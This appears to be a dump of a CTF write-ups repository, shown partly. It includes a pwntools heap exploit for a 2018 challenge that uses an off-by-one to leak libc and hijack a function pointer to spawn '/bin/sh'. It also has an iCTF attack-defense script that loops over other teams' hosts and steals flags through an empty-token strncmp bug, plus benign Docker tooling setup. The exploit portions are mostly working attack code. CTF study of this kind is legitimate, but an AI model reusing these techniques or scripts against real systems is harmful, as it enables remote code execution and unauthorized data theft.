p.sendlineafter('Enter brief size:', str(brief_size)) 18 | p.sendafter('Enter brief:', brief) 19 | p.sendlineafter('Best Selling? (Y/N)', best_selling) 20 | 21 | def remove_book(title): 22 | p.sendlineafter('Your choice:', '3') 23 | p.sendafter('Title:', title) 24 | 25 | def list_books(): 26 | p.sendlineafter('Your choice:', '4') 27 | 28 | if __name__ == '__main__': 29 | p = process('./program', env = {'LD_PRELOAD': './libc-2.27.so'}) 30 | 31 | # book_a ==> fastbin_0 (0x50) and brief_a ==> smallbin_0 (0x100) 32 | add_book('a' * 30 + '\n', 247, '0' * 247 + '\n', '\n', 'N') 33 | 34 | # book_b ==> fastbin_1 (0x50) and brief_b ==> fastbin_2 (0x50) 35 | add_book('b' * 30 + '\n', 58, '1' * 58, '\n', 'N') 36 | 37 | # brief_b ==> fastbin_3 (0x60) and fastbin_2 is freed 38 | edit_book('b' * 30 + '\n', 'b' * 30 + '\n', 88, '1' * 87 + '\n', 'N') 39 | 40 | # book_c ==> fastbin_2 (0x50) and brief_c ==> smallbin_1 (0x100) 41 | add_book('c' * 30 + '\n', 247, '2' * 247 + '\n', '\n', 'N') 42 | 43 | # as the result of previous steps, brief_b is located just before brief_c 44 | # now, we can edit brief_b, and launch "off-by-one" attack to replace size of 45 | # brief_c's chunk. As a result, smallbin_1 looks like a free chunk, and we set 46 | # its prev_size to 0x200, which can be consolidated to smallbin_0 after free 47 | edit_book('b' * 30 + '\n', 'b' * 30 + '\n', 88, '1' * 80 + p64(0x200), 'N') 48 | 49 | # Since the program is using libc-2.27.so, tcache is enabled 50 | # so tcache bins have priority over main arena for allocating/freeing chunks 51 | # therefore, we need to allocate enough chunks and free them, in order to 52 | # fill up tcache bins. It only can contain 7 freed chunks, and we force 53 | # program to use the chunk size of 0x100 through the program for the briefs 54 | for i in range(7): 55 | add_book(chr(i) * 30 + '\n', 247, '?' * 247 + '\n', '\n', 'N') 56 | 57 | for i in range(7): 58 | remove_book(chr(i) * 30 + '\n') 59 | 60 | # removing brief_a and brief_c causes the consolidation of smallbin_0 and smallbin_1 61 | # since tcache is full, libc put the freed chunk in main arena, and populate its fd/bk 62 | # pointers with libc addresses. 63 | remove_book('a' * 30 + '\n') 64 | remove_book('c' * 30 + '\n') 65 | 66 | # since tcache has priority over main arena for allocating new chunks, we need to allocate 67 | # enough chunks to empty the tcache, so libc uses main arena for future allocations 68 | for i in range(7): 69 | add_book(chr(i) * 30 + '\n', 247, '?' * 247 + '\n', '\n', 'N') 70 | 71 | # book_d ==> fastbin_2 (0x50) and brief_d ==> smallbin_2 (0x1a0) 72 | # smallbin_2 is overlapping with fastbin_0, fastbin_1, and fastbin_2 chunks 73 | add_book('d' * 30 + '\n', 403, '3' * 16 + '\n', '\n', 'N') 74 | 75 | # the allocation of smallbin_2 causes the libc address be written into brief_b 76 | # so, listing the books leak the libc address, and we can find the libc base address 77 | list_books() 78 | 79 | p.recvuntil('b' * 30 + '|') 80 | p.recv(5) 81 | libc_base = u64(p.recv(6) + '\x00' * 2) - 0x3ebca0 82 | print 'libc base: {}'.format(hex(libc_base)) 83 | p.recvuntil('=====================') 84 | 85 | # since brief_d and book_b chunks are overlapping, we can overwrite the book_b's 86 | # print function pointer with "system" address as well as its pointer to brief_b 87 | # with "/bin/sh" address 88 | binsh = libc_base + 0x1b3e9a 89 | system = libc_base + 0x4f440 90 | 91 | edit_book('d' * 30 + '\n', 'd' * 30 + '\n', 403, '3' * 256 + p64(0) + p64(binsh) + 'b' * 30 + '\x00' * 4 + p64(system) + '\n', 'N') 92 | 93 | # listing books cause the function pointer being called which results in calling system("/bin/sh") 94 | list_books() 95 | 96 | p.interactive() 97 | 98 | -------------------------------------------------------------------------------- /ctfs/WhiteHat/2018/Quals/pwn02/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/WhiteHat/2018/Quals/pwn02/libc-2.27.so -------------------------------------------------------------------------------- /ctfs/WhiteHat/2018/Quals/pwn02/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/WhiteHat/2018/Quals/pwn02/program -------------------------------------------------------------------------------- /ctfs/iCTF/2018/fantasticiot/README.md: -------------------------------------------------------------------------------- 1 | There vulnerability is in the `get_flag`, there is a `strncmp`. Basically, if you provide empty string as one of the parameters, it will return `0` because the `n` parameter is extracted from the provided `token`. 2 | 3 | In order to fix it, you just need to replace `strncmp` with `strcmp`. The following line is from objdump. You need to replace `8048c95` with `8113480`: 4 | 5 | `80497ae: e8 e2 f4 ff ff call 8048c95 ` 6 | 7 | -------------------------------------------------------------------------------- /ctfs/iCTF/2018/fantasticiot/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | # This code was written 10 hours before the competition, yikes 4 | # Any bugs are your problem 5 | 6 | import socks # pip install PySocks 7 | import socket 8 | socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 4444) 9 | socket.socket = socks.socksocket 10 | 11 | from pwn import * # pip install pwntools 12 | from swpag_client import Team # pip install swpag_client 13 | import time 14 | import traceback 15 | import json 16 | import sys 17 | 18 | team = Team(None, "xxxxxxxxxxxxxxxxxxx") 19 | 20 | def team_ip(team_host): 21 | # 172.31.129.1 (team1) ... 172.31.129.254 (team254) ... 172.31.130.1 (team255) ... 22 | team_number = int(team_host[4:]) 23 | minor = ((team_number - 1) % 254) + 1 24 | major = (team_number / 255) + 129 25 | return '172.31.{major}.{minor}'.format(major=major, minor=minor) 26 | 27 | services = team.get_service_list() 28 | 29 | service_flag_ids = dict() 30 | 31 | while True: 32 | for service in services: 33 | if service['service_name'] != 'fantasticiot': 34 | continue 35 | 36 | print("Going to attack", service['service_name']) 37 | if service['service_name'] not in service_flag_ids: 38 | service_flag_ids[service['service_name']] = set() 39 | 40 | targets = team.get_targets(service['service_id']) 41 | flag_list = [] 42 | for target in targets: 43 | flag_id = target['flag_id'] 44 | ip = team_ip(target['hostname']) 45 | 46 | port = target['port'] 47 | if flag_id not in service_flag_ids[service['service_name']]: 48 | try: 49 | coinn = remote(ip, port, timeout=1) 50 | 51 | # exploitation happens here 52 | conn.sendline('{"service": "flag", "op": "getflag", "id": "%s", "token": ""}' % flag_id) 53 | flag = json.loads(conn.recv().strip())['flag'] 54 | 55 | conn.close() 56 | flag_list.append(flag) 57 | print("HACKED") 58 | except Exception as e: 59 | print("Error connecting to", target['team_name'], target['hostname'], ip, port) 60 | print(e) 61 | 62 | service_flag_ids[service['service_name']].add(flag_id) 63 | 64 | result = team.submit_flag(flag_list) 65 | print result 66 | time.sleep(10) # DOS is against the rules 67 | 68 | -------------------------------------------------------------------------------- /ctfs/iCTF/2018/fantasticiot/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/iCTF/2018/fantasticiot/program -------------------------------------------------------------------------------- /docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:UBUNTU_RELEASE 2 | 3 | RUN apt-get update --fix-missing -y; exit 0; 4 | RUN apt-get install -y apt-utils; exit 0; 5 | RUN apt-get upgrade -y; exit 0; 6 | 7 | RUN apt-get install -y python python-pip python-dev git libssl-dev libffi-dev build-essential gdb git vim xterm x11-xserver-utils ruby-full bash-completion bsdmainutils ruby-dev sudo wget cmake; exit 0; 8 | 9 | RUN apt-get install -y gdb-multiarch; exit 0; 10 | RUN apt-get install -y gcc-arm-linux-gnueabihf; exit 0; 11 | RUN apt-get install -y gdb-arm-none-eabi; exit 0; 12 | RUN apt-get install -y binfmt*; exit 0; 13 | 14 | RUN apt-get install -y qemu; exit 0; 15 | RUN apt-get install -y qemu-user; exit 0; 16 | RUN apt-get install -y qemu-user-static; exit 0; 17 | RUN apt-get install -y libc6-arm64-cross; exit 0; 18 | RUN apt-get install -y libc6-armhf-cross; exit 0; 19 | 20 | RUN mkdir /etc/qemu-binfmt; 21 | RUN ln -s /usr/arm-linux-gnueabihf/ /etc/qemu-binfmt/arm; 22 | RUN ln -s /usr/aarch64-linux-gnu/ /etc/qemu-binfmt/aarch64; 23 | 24 | RUN gem install one_gadget; exit 0; 25 | 26 | RUN python -m pip install --upgrade pwntools; 27 | 28 | RUN echo "set tabstop=4\nset autoindent\nset shiftwidth=4\nset expandtab" >> /etc/vim/vimrc; 29 | RUN echo "xterm*faceName: Monospace\nxterm*faceSize: 18\nxterm*background: black\nxterm*foreground: green" > ~/.Xresources 30 | RUN echo "xrdb -merge ~/.Xresources" >> ~/.bashrc 31 | RUN echo ". /etc/bash_completion" >> ~/.bashrc 32 | RUN echo "if [ ! -f /proc/sys/fs/binfmt_misc/register ]; then" >> ~/.bashrc 33 | RUN echo " mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc" >> ~/.bashrc 34 | RUN echo "fi" >> ~/.bashrc 35 | 36 | RUN git clone https://github.com/pwndbg/pwndbg; 37 | RUN cd pwndbg; ./setup.sh; exit 0; 38 | 39 | # Keystone 40 | RUN wget https://github.com/keystone-engine/keystone/archive/0.9.1.tar.gz && \ 41 | tar xzvf 0.9.1.tar.gz && cd keystone-0.9.1 && \ 42 | mkdir build && cd build && bash ../make-share.sh && make install && ldconfig && \ 43 | cd ../bindings/python/ && make install && make install3 && \ 44 | cd ../../../ && rm -r keystone-0.9.1 0.9.1.tar.gz && \ 45 | exit 0; 46 | 47 | # Capstone 48 | RUN wget https://github.com/aquynh/capstone/archive/4.0.1.tar.gz && \ 49 | tar xzvf 4.0.1.tar.gz && cd capstone-4.0.1 && \ 50 | bash ./make.sh && bash ./make.sh install && \ 51 | cd bindings/python/ && python setup.py install && python3 setup.py install && \ 52 | cd ../../../ && rm -r 4.0.1.tar.gz capstone-4.0.1 && \ 53 | exit 0; 54 | 55 | RUN python3 -m pip install ropper; exit 0; 56 | 57 | RUN export COLUMNS=`tput cols` 58 | RUN export LINES=`tput lines` 59 | 60 | ENV COLUMNS $COLUMNS 61 | ENV LINES $LINES 62 | 63 | WORKDIR /ctf 64 | 65 | -------------------------------------------------------------------------------- /docker/README.md: -------------------------------------------------------------------------------- 1 | # Docker 2 | 3 | **Ubuntu Release** can be any supported version of the Ubuntu such as `16.04`, `17.10`, `18.04`, `18.10`, and `19.04`. 4 | 5 | ## Building the Image 6 | 7 | ``` 8 | ./build-image.sh 9 | ``` 10 | 11 | ## Creating the Container 12 | 13 | ``` 14 | ./create-container.sh 15 | ``` 16 | 17 | ## Running the Container 18 | 19 | ``` 20 | ./run-container.sh 21 | ``` 22 | 23 | -------------------------------------------------------------------------------- /docker/build-image.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd `dirname $0` 4 | 5 | source common.sh 6 | 7 | docker stop $IMAGE 8 | docker rm -f $IMAGE 9 | docker rmi -f $IMAGE 10 | 11 | cat Dockerfile | sed "s/UBUNTU_RELEASE/${UBUNTU_RELEASE}/g" | docker build . -t $IMAGE --no-cache -f - 12 | 13 | -------------------------------------------------------------------------------- /docker/common.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$#" -ne 1 ]; then 4 | echo "Usage: $0 " >&2 5 | echo " Ubuntu Release can be any supported version of the Ubuntu such as 16.04, 17.10, 18.04, 18.10, ..." >&2 6 | exit 1 7 | fi 8 | 9 | UBUNTU_RELEASE=$1 10 | IMAGE="ctfium-${UBUNTU_RELEASE}" 11 | CONTAINER=$IMAGE 12 | 13 | -------------------------------------------------------------------------------- /docker/create-container.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd `dirname $0` 4 | 5 | source common.sh 6 | 7 | docker stop $CONTAINER 8 | docker rm -f $CONTAINER 9 | 10 | OPTIONS="" 11 | 12 | case "$(uname -s)" in 13 | Darwin) 14 | IP=`ipconfig getifaddr en0` 15 | OPTIONS="-e DISPLAY=$IP:0" 16 | ;; 17 | 18 | Linux) 19 | OPTIONS="-e DISPLAY=$DISPLAY" 20 | ;; 21 | esac 22 | 23 | docker create \ 24 | --name=$CONTAINER \ 25 | -v $(realpath ../):/ctf \ 26 | --net=host \ 27 | --cap-add=SYS_PTRACE \ 28 | --privileged \ 29 | $OPTIONS \ 30 | -i -t $CONTAINER 31 | 32 | docker start $CONTAINER 33 | 34 | -------------------------------------------------------------------------------- /docker/run-container.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd `dirname $0` 4 | 5 | source common.sh 6 | 7 | case "$(uname -s)" in 8 | Darwin) 9 | IP=`ipconfig getifaddr en0` 10 | xhost + $IP 11 | ;; 12 | 13 | Linux) 14 | xhost local:root 15 | ;; 16 | esac 17 | 18 | docker start $CONTAINER 19 | docker exec -it $CONTAINER /bin/bash 20 | 21 | --------------------------------------------------------------------------------